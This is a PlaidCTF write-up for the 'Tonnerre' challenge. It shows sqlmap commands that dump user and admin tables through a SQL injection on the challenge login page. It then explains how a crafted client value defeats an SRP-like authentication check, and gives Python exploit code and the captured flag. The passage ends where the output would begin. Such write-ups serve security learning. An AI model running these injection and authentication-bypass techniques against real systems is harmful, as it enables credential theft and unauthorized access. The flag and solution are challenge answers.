# PlaidCTF – Tonnerre

Worth 200 points, with the description:

We were pretty sure the service at tonnerre.pwning.xxx:8561 (source) was totally secure. But then we came across this website and now we’re having second thoughts… We think they store the service users in the same database?

The link directs to a website which has a SQLi vulnerability. Running sqlmap:

python sqlmap.py -u http://tonnerre.pwning.xxx:8560/login.php --data="password=xxx&username=" -D tonnerre -T users --dump python sqlmap.py -u http://tonnerre.pwning.xxx:8560/login.php --data="password=xxx&username=" -D tonnerre -T admin_users --dump

we obtain the username get_flag and a pair of values:

$\begin{array}{rl}\textsf{salt} = &\texttt{d14058efb3f49bd1f1c68de447393855e004103d432fa61849f0e5262d0d9e86}\\ &\texttt{63c0dfcb877d40ea6de6b78efd064bdd02f6555a90d92a8a5c76b28b9a785fd8}\\ &\texttt{61348af8a7014f4497a5de5d0d703a24ff9ec9b5c1ff8051e3825a0fc8a43329}\\ &\texttt{6d31cf0bd5d21b09c8cd7e658f2272744b4d2fb63d4bccff8f921932a2e81813} \end{array}$

$\begin{array}{rl}\textsf{verifier} = &\texttt{ebedd14b5bf7d5fd88eebb057af43803b6f88e42f7ce2a4445fdbbe69a9ad7e7}\\ &\texttt{a76b7df4a4e79cefd61ea0c4f426c0261acf5becb5f79cdf916d684667b6b094}\\ &\texttt{0b4ac2f885590648fbf2d107707acb38382a95bea9a89fb943a5c1ef6e6d0640}\\ &\texttt{84f8225eb323f668e2c3174ab7b1dbfce831507b33e413b56a41528b1c850e59} \end{array}$

The following protocol is executed:

1. The server asks for username and an integer $\textsf{pub}_{\text{client}}$.
2. Then, the server computes $\textsf{pub}_{\text{server}} = g^r \bmod N$ for some (unknown) random value $r$ and known generator and modulus $g, N$.
3. It responds with $\textsf{salt}$ and $\textsf{residue} = \textsf{pub}_{\text{client}} +\textsf{verifier} \bmod N$.
4. The server computes $\textsf{secret} = (\textsf{pub}_{\text{client}} \cdot \textsf{verifier})^r \bmod N$ and then $\textsf{key} = \textsf{SHA}_{512}(\textsf{hex}(\textsf{secret}^r \bmod N))$.
5. It then asks for a proof and checks whether $\textsf{proof} =^? \textsf{SHA}_{512}(\textsf{hex}(\textsf{residue}) + \textsf{key})$. If not, it rejects.

The first thing we note is that $r$ is not known to us, so the first thing we could try is to choose $\textsf{pub}_{\text{client}} = 0$ or $\textsf{verifier}^{-1} \bmod N$. This would cause $\textsf{secret} = 0$ or $1$, but unfortunately it is not that simple (but almost!). The protocol checks that $\textsf{secret} \not \in \{N-g,N-1,0,1,g\}$. So, it cannot be set to $\textsf{pub}_{\text{client}} = g \cdot \textsf{verifier}^{-1} \bmod N$, is that would violate the condition above. But what about $\textsf{pub}_{\text{client}} = g^2 \cdot \textsf{verifier}^{-1} \bmod N$? That would work! Actually any power $g^k, k>1$ is a viable solution.

This forces $\textsf{key} = \textsf{SHA}_{512}(\textsf{hex}((g^2)^r \bmod N))$. OK, good, since this is a value we can determine! Using $\textsf{verifier}$, we may compute $\textsf{residue} - \textsf{verifier} = \textsf{pub}_{\text{server}} = g^r \bmod N$, so we find the key as $\textsf{key} = \textsf{SHA}_{512}(\textsf{hex}((\textsf{residue} - \textsf{verifier})^2 \bmod N))$. From this only, it is pretty easy. We compute the proof as in the above protocol: $\textsf{SHA}_{512}(\textsf{hex}(\textsf{residue}) + \textsf{key})$ and send it to the server. Performing the described steps, we find the flag: PCTF{SrP_v1_BeSt_sRp_c0nf1rm3d}.

The code used to get the flag is


s = socket.create_connection(('tonnerre.pwning.xxx',8561))
print '[+] Connected:', recvuntil('\n').strip('\n')

# our crafted public client value
public_client = (libnum.modular.invmod(verifier, N) * g**2) % N
s.send('get_flag\n')
s.send(tostr(public_client))
recvuntil('\n')

# obtain residue value
residue = int(recvuntil('\n'), 16)
public_server = (residue-verifier) % N

# compute session key and proof
session_key = H(tostr(public_server**2 % N))
proof = H(tostr(residue) + session_key)

print '[ ] Sending:', proof, '...'
s.send(proof + '\n')
recvuntil('\n')
print '[+] Returned:', recvuntil('\n')



which gives the output: